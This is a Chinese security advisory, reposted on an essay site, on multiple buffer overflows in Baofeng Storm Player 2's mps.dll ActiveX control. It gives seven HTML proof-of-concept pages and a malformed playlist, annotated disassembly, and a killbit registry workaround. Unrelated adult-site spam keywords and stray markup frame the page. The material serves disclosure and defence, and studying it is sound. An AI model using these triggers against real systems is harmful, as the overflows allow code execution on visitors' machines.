1. <code id="ya7qu"><span id="ya7qu"><label id="ya7qu"></label></span></code>

    <b id="ya7qu"><bdo id="ya7qu"></bdo></b>
    <wbr id="ya7qu"><optgroup id="ya7qu"><strike id="ya7qu"></strike></optgroup></wbr>
  2. <u id="ya7qu"><bdo id="ya7qu"></bdo></u>
    現在位置:范文先生網>理工論文>服務器安全及應用>暴風影音2 mps.dll組件多個緩沖區溢出漏洞

    暴風影音2 mps.dll組件多個緩沖區溢出漏洞

    時間:2022-04-22 16:36:25 服務器安全及應用 我要投稿
    • 相關推薦

    暴風影音2 mps.dll組件多個緩沖區溢出漏洞

    網上爆出了一個暴風影音的activex漏洞,調用的是rawParse這個方法,于是簡單看了下,發現問題真不少。
    這些問題都是可以控制eip或者是seh的,也就是說每個漏洞都可以導致執行任意代碼。

    影響版本:暴風影音2(其他未測試)
    未受影響版本:無(目前無補丁)

    URL屬性、rawParse方法和advancedOpen方法溢出的poc分別如下:

    [Vuln 1]
    <html>
    <body>
    <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
    id="storm"></object>
    <script>
    var s = "\x0c";

    while (s.length < 300) {
        s += "\x0c";

    }

    storm.URL = s;
    </script>
    </body>
    </html>
    [Vuln 2]
    <html>
    <body>
    <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
    id="storm"></object>
    <script>
    var s = "\x0c";

    while (s.length < 300) {
        s += "\x0c";

    }

    storm.rawParse(s);
    </script>
    </body>
    </html>
    [Vuln 3]
    <html>
    <body>
    <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
    id="storm"></object>
    <script>
    var s = "\x0c";

    while (s.length < 1050) {
        s += "\x0c";

    }

    storm.advancedOpen(s, "");
    </script>
    </body>
    </html>
    URL屬性、rawParse方法和advancedOpen方法的溢出本質是同一個問題,他們都調用了sparser.dll導出的一個函數。
    這個函數從代碼來看是處理路徑和URL的,URL屬性和rawParse方法傳入的參數也都是URL。
    .text:10004F40 ; int __stdcall sub_10004F40(LPCSTR
    lpMultiByteStr,int,int)
    .text:10004F40 sub_10004F40    proc near               ; DATA
    XREF: .rdata:1000F2D0 o
    .text:10004F40
    .text:10004F40 var_14          = dword ptr -14h
    .text:10004F40 var_10          = dword ptr -10h
    .text:10004F40 var_C           = dword ptr -0Ch
    .text:10004F40 var_4           = dword ptr -4
    .text:10004F40 lpMultiByteStr  = dword ptr  4
    .text:10004F40 arg_8           = dword ptr  0Ch
    .text:10004F40
    .text:10004F40                 mov     eax, large fs:0
    .text:10004F46                 push    0FFFFFFFFh
    .text:10004F48                 push    offset loc_1000EB21
    .text:10004F4D                 push    eax
                 ...    ...    ...    ...
    .text:1000506D                 call    dword ptr [ecx+4]
    .text:10005070                 mov     ecx, esi
    .text:10005072                 mov     edx, [esp+24h+lpMultiByteStr]
    .text:10005076                 push    edx             ;
    lpMultiByteStr
    .text:10005077                 call    sub_10002450
    該函數第二、三個參數都是指向用戶輸入串拷貝的指針,最后一行進入另一個函數:
    .text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
    .text:10002450 sub_10002450    proc near               ; CODE XREF:
    sub_10004F40+137 p
    .text:10002450
    .text:10002450 var_12C         = dword ptr -12Ch
    .text:10002450 pszPath         = byte ptr -120h
    .text:10002450 var_1C          = dword ptr -1Ch
    .text:10002450 var_4           = dword ptr -4
    .text:10002450 lpMultiByteStr  = dword ptr  8
    .text:10002450
    .text:10002450                 push    ebp
    .text:10002451                 mov     ebp, esp
    .text: 10002453      & nbsp;           sub      esp, 120h    ;& nbsp;注意
    這里分配了120h即288字節大小的buffer
              ...   ...   ...   ...
    .text:100024ED                 mov     edi, [ebp+lpMultiByteStr]
    .text:100024F0                 push    edi             ; pszPath
    .text: 100024F1      & nbsp;           call     ds:PathIsURLA    ; 這里判斷
    是否為合法的URL
    .text:100024F7                 test    eax, eax
    .text: 100024F9      & nbsp;           jz    & nbsp;
    loc_10002582    ;& nbsp;如果不是則跳轉
              ...   ...   ...   ...
    .text:10002582                 lea     eax, [ebp+pszPath]
    .text: 10002588      & nbsp;           push     edi              ; 用戶輸入
    的串
    .text:10002589                 push    eax
    .text: 1000258A      & nbsp;           call     ds:lstrcpyA    ; 串拷貝造成棧
    溢出
    通過以上分析發現,程序在處理非法超長(長度大于MAX_PATH)URL時發生棧溢出。
    這個函數是個導出函數,暴風影音其他地方如果調用這個函數的話,都可能有問題。
    于是通過在這個函數下斷點發現暴風影音主程序處理URL時也是調用這個函數,同樣也有問題。
    我們構造一個播放列表文件就可以觸發:

    [Vuln 4]
    <?xml version="1.0" encoding="GB2312"?>
    <PlayList>
        <item name="ph4nt0m" time=""
    path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAA"/


    </PlayList>
    但是問題還遠遠沒有結束,在mps.dll中,還存在很明顯的以下幾個漏洞:

    IsDVDPath方法:
    037EAB8B    56              PUSH ESI
    037EAB8C    57              PUSH EDI
    037EAB8D    50              PUSH EAX                                 ;
    src
    037EAB8E    8D85 F0FEFFFF   LEA EAX,DWORD PTR SS:[EBP-110]           ;
    dest
    037EAB94    68 30FE8003     PUSH mps.0380FE30                        ;
    ASCII "%s\video_ts.ifo"
    037EAB99    50              PUSH EAX
    037EAB9A    E8 F2FA0000     CALL mps.037FA691                        ;
    copy
    [Vuln 5]
    <html>
    <body>
    <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
    id="storm"></object>
    <script>
    var s = "\x0c";

    while (s.length < 1050) {
        s += "\x0c";

    }

    storm.isDVDPath(s);
    </script>
    </body>
    </html>
    backImage屬性:
    03FA6D5B   .  8D9E 0C030000 LEA     EBX,DWORD PTR DS:[ESI+30C]
    <===========
    03FA6D84   .  FF75 F0       PUSH    DWORD PTR SS:
    [EBP-10]                   ; /String2
    03FA6D87   .  8986 08030000 MOV     DWORD PTR DS:[ESI
    +308],EAX              ; |
    03FA6D8D   .  53            PUSH
    EBX                                     ; |String1
    03FA6D8E   .  FF15 5471FC03 CALL    DWORD PTR DS:
    [<&KERNEL32.lstrcpyA>]     ; \lstrcpyA
    03FA6D94   >  8B86 34040000 MOV     EAX,DWORD PTR DS:[ESI+434]
    03FA6D9A   .  8D8E 34040000 LEA     ECX,DWORD PTR DS:[ESI+434]
    <===========
    03FA6DA0   .  894D 0C       MOV     DWORD PTR SS:[EBP+C],ECX
    03FA6DA3   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]
    [Vuln 6]
    <html>
    <body>
    <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
    id="storm"></object>
    <script>
    var s = "\x0c";

    while (s.length < 1050) {
        s += "\x0c";

    }

    storm.backImage = s;
    </script>
    </body>
    </html>
    titleImage屬性:
    03EA68E7   .  FF75 F0       PUSH    DWORD PTR SS:
    [EBP-10]            ; /String2
    03EA68EA   .  8903          MOV     DWORD PTR DS:[EBX],EAX           ;
    |
    03EA68EC   .  8D86 A4010000 LEA     EAX,DWORD PTR DS:[ESI+1A4]       ;
    |
    03EA68F2   .  50            PUSH    EAX                              ;
    |String1
    03EA68F3   .  FF15 5471EC03 CALL    DWORD PTR DS:[<&KERNEL32.lstrcpy>;
    \lstrcpyA
    03EA68F9   >  8B86 C8020000 MOV     EAX,DWORD PTR DS:[ESI+2C8]
    03EA68FF   .  8D9E C8020000 LEA     EBX,DWORD PTR DS:[ESI+2C8]
    03EA6905   .  8BCB          MOV     ECX,EBX
    03EA6907   .  895D 0C       MOV     DWORD PTR SS:[EBP+C],EBX
    03EA690A   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]
    [Vuln 7]
    <html>
    <body>
    <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
    id="storm"></object>
    <script>
    var s = "\x0c";

    while (s.length < 1050) {
        s += "\x0c";

    }

    storm.titleImage = s;
    </script>
    </body>
    </html>
    針對該控件漏洞的臨時解決辦法是對該com組建設置killbit,把下面內容保存為.reg文件,雙擊導入注冊表:

    [Patch]
    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX
    Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
    "Compatibility Flags"=dword:00000400
    暴風影音在前段時間宣布脫離了MPC內核,現在大部分代碼都是自己寫的。
    我們看到暴風影音在業務迅速發展,版本迅速更新的同時,帶來的是對產品安全的忽視與僥幸心理。
    我以前一直感覺暴風影音會有問題,因為他包含了太多的dll,隨便哪個文件格式出問題,就會導致嚴重漏洞。
    這些漏洞也許只是冰山的一角,繼續挖掘下去,也許會發現更多的東西。
    快速發展型企業生存不容易,愿"暴風"一路走好。

    【暴風影音2 mps.dll組件多個緩沖區溢出漏洞】相關文章:

    暴風作文04-11

    暴風雨02-19

    玉林勾漏洞導游詞-廣西導游詞07-12

    暴風雨作文07-23

    暴風雪作文06-13

    暴風雨的作文03-22

    暴風雨的句子02-15

    暴風雨優秀作文07-29

    夏日暴風雨作文02-21

    暴風雨作文【薦】09-23

    国产福利萌白酱精品tv一区_日韩亚洲中字无码一区二区三区_亚洲欧洲高清无码在线_全黄无码免费一级毛片
    1. <code id="ya7qu"><span id="ya7qu"><label id="ya7qu"></label></span></code>

      <b id="ya7qu"><bdo id="ya7qu"></bdo></b>
      <wbr id="ya7qu"><optgroup id="ya7qu"><strike id="ya7qu"></strike></optgroup></wbr>
    2. <u id="ya7qu"><bdo id="ya7qu"></bdo></u>
      日韩精品亚洲人旧成在线 | 亚洲精品无播放器在线观看 | 婷婷久久綜合九色综合 | 在线中文字幕第一页 | 一级精品偷拍性视频 | 亚洲中文字幕一级视频 |